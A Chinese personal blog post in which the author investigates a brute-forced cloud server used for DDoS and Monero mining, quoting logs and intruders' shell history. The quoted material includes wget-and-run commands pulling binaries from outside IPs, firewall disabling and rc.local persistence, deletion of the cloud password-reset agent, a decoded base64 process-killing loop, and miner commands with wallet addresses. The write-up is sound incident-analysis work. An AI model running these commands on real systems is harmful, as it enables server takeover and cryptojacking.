记录人生中第一次发现电脑被入侵

2019年的最后一天下午,突然收到了百度云发来的短信,说我的服务器正在恶意攻击别人:

登陆百度云后,收到了站内信:

作为一个良民,我从来不琢磨攻击别人这件事。无辜又疑惑的我提工单寻求帮助,技术支持提供了具体的攻击手段SYNC_FLOOD(查了一下属于DDoS的一种)和攻击时间(12-30 的 12:05 至 18:41)。

对着时间,往上查了一下系统日志,马上就精神了。

1
# 这里是能看到的最早的日志
Dec 30 03:42:01 instance-3eq6v61r cron[1064]: (*system*) RELOAD (/etc/crontab)
Dec 30 04:17:01 instance-3eq6v61r CRON[15653]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Dec 30 05:17:01 instance-3eq6v61r CRON[23129]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Dec 30 06:17:01 instance-3eq6v61r CRON[30198]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Dec 30 06:25:01 instance-3eq6v61r CRON[31138]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ))
Dec 30 06:25:01 instance-3eq6v61r rsyslogd: [origin software="rsyslogd" swVersion="8.16.0" x-pid="1009" x-info="http://www.rsyslog.com"] rsyslogd was HUPed
Dec 30 06:25:01 instance-3eq6v61r kernel: [151273.108068] EXT4-fs warning (device sda): htree_dirblock_to_tree:959: inode #2: lblock 0: comm updatedb.mlocat: error -5 reading directory block
Dec 30 07:17:01 instance-3eq6v61r CRON[5112]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Dec 30 08:17:01 instance-3eq6v61r CRON[12087]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
#这里被成功登入了,看时间不是本人
Dec 30 08:44:54 instance-3eq6v61r systemd[1]: Started Session 225 of user root.

syslog日志显示,在 Dec 30 08:44:54 有其他人登陆过我的系统。并且有一个奇怪的定时任务 ( cron.hourly ) 每小时都会执行一遍。接着我有看了一下 auth 日志,它会记录各种登陆时的验证信息,包括失败的验证和成功的验证。

1
...
Dec 30 08:40:33 instance-3eq6v61r sshd[14727]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.91.136.174  user=root
Dec 30 08:40:35 instance-3eq6v61r sshd[14727]: Failed password for root from 51.91.136.174 port 49568 ssh2
Dec 30 08:40:36 instance-3eq6v61r sshd[14727]: Received disconnect from 51.91.136.174 port 49568:11: Normal Shutdown, Thank you for playing [preauth]
Dec 30 08:40:36 instance-3eq6v61r sshd[14727]: Disconnected from 51.91.136.174 port 49568 [preauth]
Dec 30 08:44:54 instance-3eq6v61r sshd[15221]: Accepted password for root from 51.91.136.174 port 47114 ssh2  # 找到了对应的被他人成功登入的点,时间对的上。奇怪的是后面他还在不停试密码,是代码没写好,还是黑客不只一个?
Dec 30 08:44:54 instance-3eq6v61r sshd[15221]: pam_unix(sshd:session): session opened for user root by (uid=0)
Dec 30 08:44:54 instance-3eq6v61r systemd-logind[1027]: New session 225 of user root.
Dec 30 08:44:55 instance-3eq6v61r sshd[15221]: Received disconnect from 51.91.136.174 port 47114:11: Normal Shutdown, Thank you for playing
Dec 30 08:44:55 instance-3eq6v61r sshd[15221]: Disconnected from 51.91.136.174 port 47114
Dec 30 08:44:55 instance-3eq6v61r sshd[15221]: pam_unix(sshd:session): session closed for user root
Dec 30 08:44:55 instance-3eq6v61r systemd-logind[1027]: Removed session 225.
Dec 30 08:49:22 instance-3eq6v61r sshd[15784]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.91.136.174  user=root
Dec 30 08:49:25 instance-3eq6v61r sshd[15784]: Failed password for root from 51.91.136.174 port 44660 ssh2
Dec 30 08:49:25 instance-3eq6v61r sshd[15784]: Received disconnect from 51.91.136.174 port 44660:11: Normal Shutdown, Thank you for playing [preauth]
Dec 30 08:49:25 instance-3eq6v61r sshd[15784]: Disconnected from 51.91.136.174 port 44660 [preauth]
Dec 30 08:54:01 instance-3eq6v61r sshd[16302]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.91.136.174  user=root
Dec 30 08:54:03 instance-3eq6v61r sshd[16302]: Failed password for root from 51.91.136.174 port 42206 ssh2
...

日志显示 Dec 30 08:44:54 确实有人成功登陆了我的机器,登陆者的 ip 为 51.91.136.174。这个 ip 在成功登陆之前做了很多很多错误的尝试。看来是通过暴力破解进入的。这里说明一下,我这台机器是为了测试一个小东西临时创建的云虚机,所以使用了一个不严肃的密码: test@123。在配置密码时百度云其实已经提示我弱口令警告了,但我为了图方便没有管警告。

日志中比较有意思的还有亮点,这个 ip 成功登陆后还在不停尝试其它密码,估计是暴力破解的代码没写好,进程/线程没有同步导致的。另外除了这个 ip 以外,还有很多 ip 在尝试登陆。这说明入侵者有很多肉机,也有可能尝试的入侵者不止一波人。这些来自很多国家和地区,随便查了其中两个ip的归属地,分别来自法国和荷兰。

接下来,我又查看了一下命令历史记录,没想到真的有记录。在我印象中,入侵最后一步不是要清除痕迹的吗?难道是新手?还是说他觉得这台机器的主人不会查记录?说实话,如果不是百度云风控报警,我也不会注意我的机器被入侵。先来看一下他的操作记录:

1
629  root 2019/12/29 19:20:47 service iptables stop
630  root 2019/12/29 19:20:50 wget http://111.38.249.179:45889/java-id
631  root 2019/12/29 19:22:02 chmod 777 java-id
632  root 2019/12/29 19:22:02 ./java-id
633  root 2019/12/29 19:22:02 cd /tmp
634  root 2019/12/29 19:22:02 service iptables stop
635  root 2019/12/29 19:22:03 wget http://111.38.249.179:45889/java-mm
636  root 2019/12/29 19:22:25 chmod 777 java-mm
637  root 2019/12/29 19:22:25 ./java-mm
638  root 2019/12/29 19:22:25 echo "cd  /root/">>/etc/rc.local
639  root 2019/12/29 19:22:25 echo "./java-id&">>/etc/rc.local
640  root 2019/12/29 19:22:25 echo "./java-mm&">>/etc/rc.local
641  root 2019/12/29 19:22:25 echo "/etc/init.d/iptables stop">>/etc/rc.local
 
827  root 2019/12/30 03:40:39 service iptables stop
828  root 2019/12/30 03:40:43 wget http://111.39.153.250:27788/jdk-8k
829  root 2019/12/30 03:40:47 chmod 777 jdk-8k
830  root 2019/12/30 03:40:51 ./jdk-8k
831  root 2019/12/30 03:40:55 cd /usr/sbin/
832  root 2019/12/30 03:40:59 service iptables stop
833  root 2019/12/30 03:41:03 wget http://111.39.153.250:27788/jdk-9k
834  root 2019/12/30 03:41:07 chmod 777 jdk-9k
835  root 2019/12/30 03:41:11 ./jdk-9k
836  root 2019/12/30 03:41:15 echo "cd  /root/">>/etc/rc.local
837  root 2019/12/30 03:41:19 echo "./jdk-8k&">>/etc/rc.local
838  root 2019/12/30 03:41:23 echo "./jdk-9k&">>/etc/rc.local
839  root 2019/12/30 03:41:27 echo "/etc/init.d/iptables stop">>/etc/rc.local

历史记录显示这家伙关了我的防火墙,然后从 111.38.249.179:45889 下载了两个可执行文件,名字分别叫做 jdk-8k 和 jdk-9k,并且运行了它们。对于这个 ip 查看到它来自国内安徽六安。

随后我去目录里寻找 jdk-8k、jdk-9k 这两个可疑文件,然而什么都没找到。另外我探测了 111.38.249.179 这台主机,显示主机活着,但45889和27788两个端口拒绝了我的连接。这意味着有如下几种可能:

  • 入侵者删除了文件,并隐藏了删除操作的历史 (基本没可能,他要会隐藏历史就不会让我看到上面这些)
  • 这几个文件运行时自销毁(高级!)
  • 这些命令是脚本敲入或是批量复制粘贴的,其实根本没有成功(这意味DDoS攻击的发起另有他人)

如果说另有其人的话,会是上面那个每小时跑一遍的定时任务吗?我找到了 conb.hourly 所执行的二进制文件 /lib/udev/udev,用 gdb 反汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Dump of assembler code for function main:
0x0804b759 <+897>: call 0x8049360 <encrypt_code>
...
0x0804b889 <+1201>: call 0x8048555 <readfile>
...
0x0804ba5d <+1669>: call 0x8048cdc <DelService>
...
0x0804bb1a <+1858>: call 0x8048796 <writefile>
...
0x0804bdba <+2530>: call 0x8048b8c <InstallSYS>
...
0x0804bdcd <+2549>: call 0x804a289 <CheckLKM>
...
0x0804be80 <+2728>: call 0x804d0ac <decrypt_remotestr>
...
0x0804bea7 <+2767>: call 0x804a365 <HidePidPort>
...s s

不用仔细看,光读函数名就不自然。首先是这个刺眼驼峰拼写法,显然不像 udev 的作风。接着我们知道udev是linux管理设备和驱动的一个模块(具体可以看我之前的文章 设备驱动 - Linux Device Driver Model),它从不与 “remote” 进行交互。不管它是不是ddos攻击的发起程序,它一定不是真正的 udev。最后看那些 “encrypt” “decrypt” “Hide” 的字眼,偷偷摸摸一看就不正经。

到此,对于我被 DDoS 已经有了一些头绪:我的服务器被人入侵了,在里面跑了一些乱七八糟的程序。但是还有很多问题没搞清楚:

  • 入侵者有几个?jdk小子 和 udev小子 是同一人还是两波人吗?还会有第三个人、第四个人、第五个人吗?
  • DDoS 到底是那个程序发起的,神秘消失的 jdk 还是鬼鬼祟祟的 udev? 抑或是其它我未曾探知的程序?

收集到的信息不多,我决定在系统上运行 script 并隐藏起来,等入侵者下次光临时录下他的一举一动,看看他们到底在干什么、怎么干的。

过了一天后,在2020年的第一天,我发现入侵者果然再次光临了我的服务器。1月1号夜里23点24分,他潜入后进行了一波操作。不像上次留了很多历史记录给我追查,这次他谨慎地对入侵痕迹进行了清理:删掉了登陆记录和命令执行历史。不过由于之前开起了 script 对所有登陆者的操作进行录屏,所以还是捕捉到了他的一举一动。通过回放操作我发现,入侵者的操作基本上是复制粘贴现成脚本结合手动异常处理,并非是完全自动化脚本。这次进来,他同样熟练地关防火墙,然后开始下载运行他的 jdk 们,最后清理操作痕迹。通过记录可以看到,jdk 下载是成功的,同时也没有手动删除的操作,说明它们确实是运行中自销毁的程序。

另外这次他的操作明显与上次操作风格不一样,变得非常谨慎。他可能注意到我可能注意到他的入侵了。为了避免他发现我发现了他,我也尽量减少自己的足迹。之前我通过命令前加空格来避免自己排查黑客行为的命令被记录在历史中,但有时候命令敲快了就忘了,而且因为不能复用历史命令,这也降低了我的排查效率。考虑到linux会把当前会话的历史记录在内存中,只有回话退出时才写入文件,所以我只要不退出会话。这次我通过百度云提供的网页vnc来保持我的会话。这样做的一个额外好处是,我避免了 script 录制到我自己的操作。

后来证明,我用 vnc 保持会话的决策是正确的。2020年1月2号凌晨1点18分,又有人登陆了会话。但是这次,我无法通过自己的密码登陆我的服务器了。入侵者竟然给我改了密码!虽然通过百度云提供的改密服务可以强行把密码设置回来,但这样一来他就会发现我发现了他的入侵,会比较尬。还好 vnc 保持的会话还在,登上去回放一下他的操作记录,原来是把我的密码改成了 BrrrrrBBBxgdQr37。再看紧接着后面的命令,背后后一阵冰凉:

1
root@instance-3eq6v61r:~# rm -rf /CloudResetPwdUpdateAgent

这是想把云服务提供的重设密码功能也给我停掉吗?太阴险了这个人,奔着霸占我的服务器来并且下了死手!再次感谢我的 vnc 的会话。另外被这两句命令戳中笑点:

1
2
root@instance-3eq6v61r:/opt/nu# pkill -9 Trump;
root@instance-3eq6v61r:/opt/nu# pkill -9 Donald;

接着继续观赏他的其它操作,他的工具是从up2www这个网站下载的,我也进入这个网站看看:

。。。不认识这个文字。Google翻译一下,在规则页面中发现原来是伊斯兰共和国的网站。

据此判断是个外国入侵者的可能性挺大。顺手给这个网站举报一下工具上传者。

另外判断是外国入侵者的依据是我观察到的一个现象:他总是用 bing.com 来判断网络联通性而不是 ping baidu.com 更不是 ping google.com。因此真相只有一个:他很有可能是知道我国国情的外国黑客。

凌晨1点的这次登陆,除了改密码独占我的服务器,主要还是关闭系统防御,做入侵者的事,清楚记录这三步。当然受限于中国的绿色网络长城,他的很多操作都没能一下成功,也是折腾了不轻。GFW 干得漂亮!

跟着入侵者的操作,找到了他部署在我服务器上的文件:

1
2
[{"url":"pool.supportxmr.com:3000","user":"8721pHzrmSB2xPpmRxvU9CXU9cXhom87fEgBkXRjVp4nBvJnyvC6ke2ZUrs6MjPD6 ^M6RW1paxQScKCgXwwiYaUPEVFNB468G","pass":"xx","coin":"monero","algo":"rx/0","tls":false,"tls-fingerprint":null},{"url":"de03.supportxmr.com:3000","u ^Mser":"8721pHzrmSB2xPpmRxvU9CXU9cXhom87fEgBkXRjVp4nBvJnyvC6ke2ZUrs6MjPD66RW1paxQScKCgXwwiYaUPEVFNB468G","pass":"xx","coin":"monero","algo":"rx/0"," ^Mtls":false,"tls-fingerprint":null},{"url":"pool.supportxmr.com:443","user":"8721pHzrmSB2xPpmRxvU9CXU9cXhom87fEgBkXRjVp4nBvJnyvC6ke2ZUrs6MjPD66RW1p ^MaxQScKCgXwwiYaUPEVFNB468G","pass":"xx","coin":"monero","algo":"rx/0","tls":true,"tls-fingerprint":null},{"url":"de03.supportxmr.com:9000","user":" ^M8AriWF4frRPjgpJfgUYjLR5SML2Dz3eTc9iEMRbvt41SF6vzeJq1sJsRrc8iWYerVNZfs8rctwhvRFXgd2Cc64F3UmYvQNS","pass":"x","coin":"monero","algo":"rx/0","tls":tr ^Mue,"tls-fingerprint":null},{"url":"hk02.supportxmr.com:443","user":"8AriWF4frRPjgpJfgUYjLR5SML2Dz3eTc9iEMRbvt41SF6vzeJq1sJsRrc8iWYerVNZfs8rctwhvRF ^MXgd2Cc64F3UmYvQNS","pass":"x","coin":"monero","algo":"rx/0","tls":true,"
...

历史记录中的神秘代码,base64编码:

1
watch -n 5 `/bin/bash -c "base64 -d <<< "YT1gcHMgYWh1eCAtLXNvcnQ9LWMgfCBhd2sgJ3tpZigkMz4xMC4wICYmICQxMSE9Ii9vcHQvbnUvc3NoLWRhZW1vbiIgJiYgJDExIT0iL3Vzci9iaW4vc3VkbyIgJiYgJDExIT0iL2Jpbi9iYXNoIilwcmludGYiJTZkXG4iLCQyLCQxMX0nYDtmb3IgaSBpbiAkYTsgZG8gYT1gcmVhZGxpbmsgL3Byb2MvJGkvZXhlYDtraWxsIC05ICRpOyBjcCAkYSAkYS5vbGQ7Y2hhdHRyIC1pYSAkYTsgY2htb2QgLXggJGE7cm0gLXJmICRhO3RvdWNoICRhOyBjaGF0dHIgK2lhICRhOyAgZG9uZTs""` &> /dev/null &^M

解码后得到:

1
a=`ps ahux --sort=-c | awk '{if($3>10.0 && $11!="/opt/nu/ssh-daemon" && $11!="/usr/bin/sudo" && $11!="/bin/bash")printf"%6d\n",$2,$11}'`;for i in $a; do a=`readlink /proc/$i/exe`;kill -9 $i; cp $a $a.old;chattr -ia $a; chmod -x $a;rm -rf $a;touch $a; chattr +ia $a;  don

加上这段:

1
nohup ./ssh-daemon -o pool.supportxmr.com:3333 -u 8721pHzrmSB2xPpmRxvU9CXU9cXhom87fEgBkXRjVp4nBvJnyvC6ke2ZUrs6Mj ^MPD66RW1paxQScKCgXwwiYaUPEVFNB468G -coin monero -a rx/0 &> log.txt &

并且通过 user id 搜到一个类似的攻击记录 http://uglyduck.vajn.icu/honeypot/

基本上可以推断,他只是进来想用我的服务器为他免费挖矿。基本上现在可以确定,入侵者应该不止一波了,而是很多人怀揣着自己的梦想向我的服务器走来。有意思的是他们清除历史痕迹的风格迥异:有的非常耐心细致地帮我一个文件一个文件地清除操作历史,有的则是脾气很不好地直接把系统存放日志的目录一锅全删了。联想到成功登陆后试密码的动作却依然在进行,基本可以确定有多伙人在搞我。把最近登陆进来的人分为几批:

  • jdk党,一心一意试图在我电脑上下载自己java-sdk。运行后自销毁。很神秘。天天来。

  • udev党,每小时执行定时任务,运行的二进制 udev 有待进一步分析。来过一次。

  • 矿工党,试图拿我的机器挖矿,并暴力修改密码和删除改密机制来独占我的机器。今天刚来。

  • DDos党,可能是上面出现过的人,也可能是另一伙我没抓到的神秘人。

了解这个状况后,我陷入了深深的担忧:矿工党修改密码后岂不是其它黑客进不来了?由于矿工党单纯的意图我已经摸清了,我对他兴趣不大,所以决定撕破脸皮,直接把密码又改了回去,向其他入侵者重新开放怀抱。今天差不多这样,先抹掉自己的痕迹静观其变。

为了了解 udev 党的意图,我把可疑的 udev 文件交给了真正的黑客、0 day 漏洞挖掘机周宇做逆向分析(本来寻求他帮助是想让他帮我反击打击黑产的,结果他现在专心挖洞不搞渗透了。大神风范!)宇神告诉我 udev 就是我一直在找的 DDoS 发起者。同时他授人以渔地推荐给了我很多好用的逆向工具,让我直接从用 gdb 一点点 disassemble 一路升天到一键 decompile。然后自己顺利的地分析了 jdk 小子的两个可疑文件:

image-20200102191830507

jdk8 和 9 应该是同样的目的,猜测入侵者是为了同时兼容 SystemV 和 linux 而做了两个版本。因为 jdk8带有符号信息,尝试反编译,最终找到核心攻击代码:

竟然也是在 DDoS!

完结撒花!

通过这件事,我学到一个朴素的知识:弱口令是真的危险。入侵者有时候目的还是很邪恶的,不只是强行跟你共享服务器,可能会企图完全霸占。不能抱着“应该没有人会盯上我这台小破机器吧”的侥幸态度,一定要认真设置密码,哪怕只是试验机。